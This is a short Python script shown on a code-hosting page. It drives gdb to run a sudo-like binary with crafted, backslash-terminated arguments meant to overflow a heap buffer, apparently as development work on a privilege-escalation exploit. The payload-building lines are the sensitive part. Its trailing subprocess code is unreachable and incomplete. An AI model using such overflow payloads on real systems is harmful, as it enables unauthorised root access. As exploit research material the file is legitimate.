-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathasd2.py
36 lines (31 loc) · 908 Bytes
/
asd2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import json
import subprocess
import sys
import os
NEXT = "22223333"
#LIBRARY = "00001111"
#KNOWN = "AAAABBBB"
NAME = "XXXX/liveoverflow"
arg = [
"I"*49+"="+"A"*93+NEXT+"aaanaaaaaaaoaaaaaaapaaaa\\",
"\\","\\","\\","\\","\\","\\","\\","\\", # LIBRARY
"\\","\\","\\","\\","\\","\\","\\", # KNOWN
NAME
]
args = ["/usr/bin/gdb"]
args += ["-ex", "unset environment"]
args += ["-ex", "set breakpoint pending on"]
args += ["-ex", "break set_cmnd"]
args += ["-ex", "break set_cmnd"]
args += ["-ex", "r "+" ".join([f"'{a}'" for a in arg])]
args += ["/pwd/sudoenv"]
os.execv("/usr/bin/gdb", args)
p = subprocess.Popen(args, env=env, bufsize=0,
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
try:
lines = p.communicate(b"quit\nquit\nquit\nquit\n",timeout=1)
print(lines[0].decode('utf-8'))
except subprocess.TimeoutExpired:
p.terminate()
pass
input()